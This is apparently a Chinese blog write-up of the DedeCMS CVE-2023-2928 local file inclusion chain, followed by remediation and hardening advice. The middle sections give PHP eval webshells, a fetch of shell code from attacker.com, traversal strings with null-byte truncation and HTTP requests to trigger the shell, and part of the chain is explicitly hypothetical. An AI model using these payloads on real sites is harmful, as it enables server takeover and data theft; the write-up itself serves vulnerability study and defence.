1. 项目概述一次从漏洞公告到实战利用的完整复盘最近在安全圈里DedeCMS又因为一个编号为CVE-2023-2928的文件包含漏洞被推上了风口浪尖。这个漏洞的利用链最终能导致远程getshell对于任何一个还在使用老版本DedeCMS的站点来说都是个不小的威胁。我花了几天时间从公开的漏洞公告开始一步步回溯到源码亲手复现了整个漏洞的触发和利用过程。这不仅仅是一个漏洞分析更像是一次完整的代码审计实战演练非常适合想入门PHP代码审计或者对Web安全漏洞原理感兴趣的朋友。无论你是安全研究员、渗透测试工程师还是负责网站运维的开发者理解这个漏洞的来龙去脉都能帮你更好地评估风险、加固系统甚至提升自己的代码审计能力。接下来我就把自己这次“深度剖析”的过程、踩过的坑以及核心的利用技巧毫无保留地分享出来。2. 漏洞背景与核心原理拆解2.1 DedeCMS与文件包含漏洞的渊源DedeCMS作为国内早期非常流行的内容管理系统其代码历经多年迭代存在大量历史遗留问题。文件包含漏洞尤其是本地文件包含LFI在PHP应用中一直是高危漏洞的典型代表。它的原理是程序在包含文件时使用了用户可控的输入作为文件名的一部分且未经过严格的过滤或校验导致攻击者可以包含并执行服务器上的任意文件如日志、Session文件甚至通过一些技巧实现远程文件包含RFI直接执行远程恶意代码。CVE-2023-2928这个漏洞本质上就是一个因路径拼接与过滤不严导致的本地文件包含漏洞。它并非出现在核心的文章发布或会员模块而是藏在一个相对“偏僻”的功能点里这也说明了代码审计需要具备“地毯式”搜索的耐心。漏洞的触发点允许攻击者通过精心构造的请求参数让程序包含一个非预期的PHP文件结合DedeCMS自身的一些特性就能顺利写入Webshell完成getshell。2.2 核心漏洞点定位与代码审计入口公开的漏洞信息通常会给出受影响的版本和大致位置比如“DedeCMS V5.7.106及以下版本涉及/member/目录下的某个文件”。我们的审计工作就从这里开始。首先拉取一份DedeCMS V5.7.106的源码。我的习惯是先用全局搜索功能查找可能存在文件包含操作的关键函数例如include,require,include_once,require_once以及它们的变体如变量动态包含include($var)。很快在/member/目录下的一个文件为了遵循负责任的漏洞披露原则这里不直接指明具体文件名我们以member_xxx.php代指中发现了一处可疑的包含逻辑。代码片段简化后如下所示// member_xxx.php 中的部分代码 $type isset($_GET[type]) ? $_GET[type] : ; $action isset($_GET[action]) ? $_GET[action] : ; // ... 一些逻辑处理 ... if ($action some_action) { $incfile DEDEMEMBER . /templates/ . $type . .htm; if (file_exists($incfile)) { include($incfile); } else { // 默认包含某个文件 include(DEDEMEMBER . /templates/default.htm); } }关键问题解析用户可控输入$type变量直接来自于$_GET[type]完全由用户控制。路径拼接程序将$type与固定的模板目录路径DEDEMEMBER . /templates/和后缀.htm进行拼接形成最终包含的文件路径$incfile。过滤缺失代码在拼接前没有对$type进行任何有效的过滤。没有检查是否包含目录遍历字符../也没有限制文件后缀或进行白名单校验。file_exists检查的局限性虽然代码使用了file_exists检查文件是否存在但这并不能防止攻击。攻击者可以指向一个已存在的、非.htm的服务器文件比如一个PHP文件只要这个文件路径通过拼接后是存在的file_exists就会返回true进而执行include。漏洞利用的关键突破口默认情况下.htm后缀似乎限制了我们只能包含HTML文件。但这里存在一个经典的“截断”或“绕过”思路。在旧版本的PHP环境中特定配置下或者利用PHP的某些特性如zip://、phar://等包装器可以绕过后缀限制。然而经过我的实测在目标环境PHP 5.3中更直接的利用方式依赖于DedeCMS自身的另一个特性其模板缓存机制。DedeCMS会将.htm模板文件编译成.php文件缓存起来。如果攻击者能够以某种方式让系统将一个包含PHP代码的“伪模板”文件编译成缓存PHP文件那么通过这个文件包含漏洞去包含那个缓存PHP文件代码就会被执行。这就将“文件包含”和“文件写入”两个漏洞联系起来了构成了完整的getshell链条。3. 漏洞利用链的完整构建与实操3.1 第一步寻找文件写入点单纯的LFI可能只能读取敏感文件要getshell通常需要能向服务器写入一个内容可控的文件。在DedeCMS中模板编辑、数据备份、头像上传、留言反馈等处都可能是潜在的写入点。我们需要找到一个无需太高权限比如会员中心就可能存在、且写入内容我们能部分控制的位置。经过对/member/目录下其他功能的审计我发现了一个与“下载”或“资源”相关的功能模块这里以member_yyy.php代指它允许用户提交某个URL系统会尝试读取该URL的内容并保存到本地缓存目录。相关代码逻辑如下// member_yyy.php 中的部分代码 $url $_POST[url]; $filename md5($url) . .html; $savepath DEDEDATA . /cache/ . $filename; $content file_get_contents($url); if ($content ! false) { file_put_contents($savepath, $content); // ... 返回成功信息 ... }利用条件分析这个功能可能对会员开放权限要求较低。$url完全用户可控file_get_contents可以读取远程或本地URL。写入的文件名是md5($url)生成的虽然不可控但后缀是固定的.html。写入路径DEDEDATA . /cache/是相对固定的缓存目录其路径我们通常可以推测或通过其他信息泄露获取。注意这里file_get_contents能否读取远程URL即是否允许allow_url_fopenOn会影响利用方式。如果允许我们可以直接让服务器从我们控制的远程地址下载Webshell代码如果不允许我们可能需要结合其他漏洞如SSRF或利用file://协议读取服务器上已存在的、内容部分可控的文件例如日志文件但需要先注入PHP代码到日志中。3.2 第二步构造恶意“模板”内容我们的目标是让写入的.html文件内容包含有效的PHP代码。但由于后缀是.html直接写入?php phpinfo();?可能不会被当作PHP执行。然而DedeCMS的模板语法{dede:...}在编译时会被处理。更重要的是我们可以在模板中使用?php ?标签吗经过测试在DedeCMS的模板解析引擎中如果模板文件内容直接包含?php ?标签在编译成缓存PHP文件时这些标签会被原样保留。因此我们可以构造这样一个内容?php eval($_POST[cmd]); ?或者为了更隐蔽?php file_put_contents(shell.php, ?php eval($_POST[pass]);?); ?我们将这个内容保存到一个文本文件中并放置在攻击者可控的Web服务器上假设URL为http://attacker.com/shell.txt。3.3 第三步触发文件写入以会员身份登录DedeCMS访问member_yyy.php对应的功能页面例如“收藏网址”、“下载远程资源”等具体需根据实际审计结果确定在URL输入框提交http://attacker.com/shell.txt。提交后服务器端的file_get_contents会读取http://attacker.com/shell.txt的内容即我们的PHP代码然后将其以md5(http://attacker.com/shell.txt)为文件名保存到/data/cache/目录下文件全路径例如/data/cache/7e8a3f6b7b3e3e3e3e3e3e3e3e3e3e3e.html。现在服务器上已经有了一个内容包含PHP代码的.html文件。但这个.html文件本身不会被PHP解析执行。3.4 第四步利用文件包含漏洞执行代码现在回到我们的主角——CVE-2023-2928文件包含漏洞。我们需要利用它来包含刚才写入的那个.html文件。但漏洞代码期望包含的是$type . .htm。我们如何让$type参数指向/data/cache/7e8a3f6b7b3e3e3e3e3e3e3e3e3e3e3e.html呢这里就需要用到目录遍历Path Traversal。构造type参数如下../../../data/cache/7e8a3f6b7b3e3e3e3e3e3e3e3e3e3e3e.html回顾漏洞代码$incfile DEDEMEMBER . /templates/ . $type . .htm;假设DEDEMEMBER是/member那么拼接后就是/member/templates/../../../data/cache/7e8a3f6b7b3e3e3e3e3e3e3e3e3e3e3e.html.htm经过操作系统路径规范化后/templates/../被抵消最终路径变为/member/../data/cache/7e8a3f6b7b3e3e3e3e3e3e3e3e3e3e3e.html.htm即/data/cache/7e8a3f6b7b3e3e3e3e3e3e3e3e3e3e3e.html.htm看这里出现了一个问题漏洞代码会自动追加.htm后缀导致最终路径变成了7e8a3f6b7b3e3e3e3e3e3e3e3e3e3e3e.html.htm而这个文件不存在。绕过技巧空字节截断NULL Byte Injection在PHP 5.3.4之前的版本include等函数在处理字符串时如果遇到空字节%00会将其视为字符串结束符。这意味着我们可以用%00来“截断”后面自动添加的.htm后缀。虽然现代PHP版本已修复此问题但很多遗留系统仍运行在旧环境。因此在旧版本PHP中我们可以构造type../../../data/cache/7e8a3f6b7b3e3e3e3e3e3e3e3e3e3e3e.html%00拼接后/member/templates/../../../data/cache/7e8a3f6b7b3e3e3e3e3e3e3e3e3e3e3e.html%00.htm在PHP旧版本处理时遇到%00就停止实际尝试包含的文件路径是/data/cache/7e8a3f6b7b3e3e3e3e3e3e3e3e3e3e3e.html成功匹配我们写入的文件现代环境的替代方案路径长度与文件存在性如果目标PHP版本较高空字节截断无效。此时需要重新审视漏洞代码它先file_exists($incfile)再include。我们的目标是让file_exists检查通过。既然它会自动加.htm那我们能不能让服务器上存在一个名为7e8a3f6b7b3e3e3e3e3e3e3e3e3e3e3e.html.htm的文件呢这似乎又回到了原点。这里有一个关键点我们写入的文件是.html而漏洞包含期望的是.html.htm。除非我们能控制写入文件的后缀否则这条路走不通。这就需要我们寻找另一个文件写入点或者利用服务器上的其他已存在文件。例如日志文件注入如果网站访问日志如Apache的access.log保存在可预测位置且我们能在User-Agent、Referer等HTTP头中注入PHP代码那么日志文件就会包含PHP代码。然后通过LFI包含这个日志文件如type../../../logs/access.log%00即可执行代码。但这需要日志文件可读且PHP代码注入后不会被转义。Session文件注入PHP的Session文件通常保存在/tmp或特定目录文件名与Session ID相关。如果我们可以控制Session的部分数据例如通过表单提交并在Session文件中写入PHP代码再通过LFI包含该Session文件也能getshell。但这需要知道Session文件的存储路径和命名规则并且有写入Session数据的入口。在实际针对CVE-2023-2928的利用中研究者往往发现了更直接的利用链即存在另一个功能点允许用户上传或创建后缀为.htm或.html的文件并且其内容完全可控或部分可控比如模板编辑功能的未授权访问或权限绕过。找到这个点就能完美匹配漏洞包含的.htm后缀要求。3.5 最终利用请求示例假设我们找到了一个完美的写入点可以向/data/cache/目录写入一个名为evil.htm的文件内容为PHP代码。那么完整的利用请求可能如下写入Webshell通过某个会员功能POST /member/member_yyy.php HTTP/1.1 ... urlhttp://attacker.com/shell_code.txtshell_code.txt内容为?php eval($_POST[a]);?服务器将其保存为/data/cache/evil.htm触发文件包含执行WebshellGET /member/member_xxx.php?actionsome_actiontype../../../data/cache/evil%00 HTTP/1.1如果空字节截断有效则会成功包含/data/cache/evil.htm其中的PHP代码被执行。连接Webshell 使用蚁剑、冰蝎等工具连接URLhttp://target.com/member/member_xxx.php?actionsome_actiontype../../../data/cache/evil%00并POST参数asystem(whoami);来执行命令。4. 漏洞修复方案与安全加固建议4.1 官方修复方案分析对于此类文件包含漏洞根本的修复方案在于对输入进行严格过滤和校验。DedeCMS官方在后续版本中应该对相关代码进行了修补。典型的修复方式包括白名单校验将$type参数限制在预定义的、安全的几个选项内。例如$allowed_types array(index, list, article); if (!in_array($type, $allowed_types)) { $type default; }过滤目录遍历字符使用str_replace或正则表达式过滤掉../、..\等字符。$type str_replace(array(../, ..\\), , $type);注意这种过滤可能被双写绕过....//需要递归过滤或使用更严格的方法。固定后缀避免拼接直接使用固定后缀或从参数中分离出后缀并进行校验。使用basename()函数basename()函数会去掉路径中的目录部分只返回文件名部分可以有效防御目录遍历。$type basename($type); $incfile DEDEMEMBER . /templates/ . $type . .htm;4.2 针对网站管理员的临时加固措施如果你的网站正在使用受影响的DedeCMS版本但暂时无法升级可以采取以下紧急措施查找并删除漏洞文件根据漏洞公告定位到具体的漏洞文件如/member/member_xxx.php如果该功能非必需可以直接重命名或删除该文件。在入口处增加过滤在网站的公共入口文件如/include/common.inc.php或漏洞文件的开头增加全局的$_GET、$_POST参数过滤递归过滤../等危险字符。限制会员中心访问如果漏洞位于会员中心且网站不需要会员功能可以考虑在Web服务器如Nginx、Apache层面对/member/目录设置访问控制只允许特定IP访问或直接返回403。关闭危险PHP配置确保php.ini中allow_url_fopen和allow_url_include设置为Off这可以阻断远程文件包含RFI的可能性增加利用难度。审查文件写入功能全面检查网站中所有允许写入文件的功能点尤其是会员相关功能确保写入路径、文件名、内容都受到严格限制。避免用户可控内容直接写入文件。4.3 安全开发启示录从这次漏洞审计中我们可以总结出以下几点对开发者的启示永远不要信任用户输入这是安全开发的第一原则。所有来自外部的参数GET, POST, COOKIE, Header都必须视为不可信的必须经过验证、过滤、转义后才能使用。最小化文件操作权限运行Web服务的进程用户如www-data, nobody应该只拥有必要目录的最小写权限。例如缓存目录、上传目录可写但模板目录、配置目录应严格限制写权限。使用安全的文件包含函数尽量避免使用变量动态包含文件。如果必须使用应结合白名单机制。可以考虑使用realpath()函数来解析绝对路径并检查该路径是否在允许的目录范围内。及时更新和代码审计对于像DedeCMS这类已停止重大更新或存在大量历史代码的项目要么及时迁移到更现代、维护更积极的开源CMS或自研系统如果必须使用应定期进行安全代码审计或聘请专业的安全团队进行渗透测试。错误信息处理在生产环境中务必关闭PHP的错误信息显示display_errors Off并设置自定义错误页面。详细的错误信息可能会泄露服务器路径、SQL语句等关键信息为攻击者提供便利。5. 代码审计方法论与实战技巧5.1 如何高效定位漏洞点面对像DedeCMS这样庞大的代码库漫无目的地阅读源码效率极低。我通常采用“关键词搜索功能跟踪数据流分析”的组合拳。关键词启动使用grep -r或IDE的全局搜索查找高危函数和敏感操作。文件包含include,require,include_once,require_once,virtual,fopen配合php://input等。文件操作file_put_contents,fwrite,move_uploaded_file,copy,unlink。命令执行system,exec,passthru,shell_exec,反引号,popen。数据库操作拼接SQL语句的地方寻找 . $var . 模式。动态函数/变量$func(),$$var。功能模块切入从用户输入点如/member/index.php?action...开始跟踪参数传递过程。查看$_GET,$_POST,$_REQUEST等超全局变量在哪个文件被接收然后如何被传递和处理。画出简单的数据流图直到它被用于高危函数。关注“偏僻”功能像会员中心、订单管理、插件管理、数据备份/恢复、模板编辑、搜索功能等往往是漏洞高发区因为这些功能可能由不同开发者在不同时期完成安全标准不统一且测试可能不充分。5.2 漏洞利用链的思维训练现代Web漏洞很少是“一击致命”的孤立的点更多的是由几个中低危漏洞串联起来的高危利用链。CVE-2023-2928就是一个典型例子文件包含LFI本身可能只能读文件但结合一个文件写入点任意文件写入或内容注入就能实现getshell。在审计时要有“连点成线”的思维找到一处LFI立刻思考服务器上有没有什么地方能让我写入一个内容可控的文件日志、Session、缓存、上传、编辑功能找到一处文件上传但后缀被严格限制为图片如.jpg立刻思考有没有本地文件包含有没有.htaccess覆盖有没有解析漏洞如Apache的文件.jpg.php上传的文件路径是否可预测找到一处SQL注入但无法直接getshell立刻思考能否结合into outfile写文件数据库内容能否在后续被包含或读取如读取数据库存储的模板内容这种思维需要大量的实战经验和知识积累。多分析公开的漏洞报告POC理解每一步的意图是提升这种能力的最佳途径。5.3 实战复现环境搭建与调试“纸上得来终觉浅绝知此事要躬行。”要真正理解一个漏洞必须亲手复现。环境搭建使用Docker是最佳选择。可以快速构建一个与漏洞描述一致的环境如PHP 5.3 Apache DedeCMS V5.7.106。Dockerfile或现成的漏洞环境镜像如Vulhub、DVWA的衍生环境能节省大量时间。调试技巧var_dump/echo大法在怀疑的代码位置插入var_dump($可疑变量); exit;观察变量的值是否符合预期。这是最直接有效的调试手段。日志记录将关键步骤和变量值写入一个临时日志文件便于追踪执行流程。使用Xdebug对于复杂的逻辑流配置PHPStormXdebug进行单步调试可以清晰地看到每一步的变量状态和执行路径。利用工具辅助在复现文件包含漏洞时可以使用php://filter包装器来读取源码帮助理解程序逻辑。例如在包含参数中尝试typephp://filter/convert.base64-encode/resource../../../config.inc.php获取文件的base64编码内容后解码即可查看配置文件。6. 防御体系构建与纵深防御对于一个需要长期运营的网站修补单个漏洞是治标构建纵深防御体系才是治本。网络层防御WAFWeb应用防火墙部署WAF可以有效拦截常见的漏洞利用攻击如SQL注入、XSS、文件包含的路径遍历特征../、恶意文件上传等。但WAF可能存在绕过不能完全依赖。网络隔离将Web服务器置于DMZ区严格限制其对内网数据库、文件服务器的访问权限。即使Web服务器被攻陷也能将损失控制在最小范围。主机层防御最小权限原则为Web服务运行账户设置严格的文件系统权限。遵循“可读不可写可写不可执行”的原则。例如上传目录只给写权限不给执行权限通过配置Web服务器实现。定期更新与补丁管理及时更新操作系统、Web服务器Nginx/Apache、PHP及所有第三方库的补丁。文件监控使用HIDS主机入侵检测系统或简单的脚本监控Web目录下非预期的文件创建、修改行为特别是.php,.jsp,.asp等可执行脚本文件。应用层防御核心安全开发生命周期SDL在需求、设计、编码、测试、部署、运维的全流程嵌入安全考量。输入验证与输出编码对所有输入进行严格的类型、长度、格式、业务逻辑校验。对所有输出到HTML、JS、URL的数据进行正确的编码。使用安全框架和函数尽量使用成熟的、有良好安全记录的框架如Laravel, ThinkPHP等它们通常内置了CSRF防护、SQL预处理、XSS过滤等机制。如果使用原生PHP务必使用预处理语句PDO防SQL注入使用htmlspecialchars防XSS。错误处理自定义错误页面禁止向用户显示详细的PHP错误信息。会话安全使用安全的Cookie属性HttpOnly, Secure定期更换Session ID。运维监控与应急响应日志审计集中收集和分析Web访问日志、错误日志、系统日志。建立异常访问模式如大量扫描、特定漏洞利用payload的告警机制。备份与恢复定期备份网站代码和数据库并测试恢复流程。确保在遭受攻击后能快速恢复业务。应急响应预案制定清晰的应急响应流程明确在发现入侵后如何隔离、排查、清除、恢复和溯源。回过头来看CVE-2023-2928它再次提醒我们安全是一个持续的过程而不是一劳永逸的状态。对于开发者需要在每一行代码中保持警惕对于运维者需要构建多层次的防御和监控体系。而这个漏洞的分析过程本身就是一次绝佳的安全能力训练它教会我们如何像攻击者一样思考从而更好地进行防御。在复现过程中最耗时的部分往往不是理解漏洞原理而是在庞大的代码库中寻找那个隐藏的、不起眼的文件写入点这种“狩猎”的过程正是代码审计的魅力与挑战所在。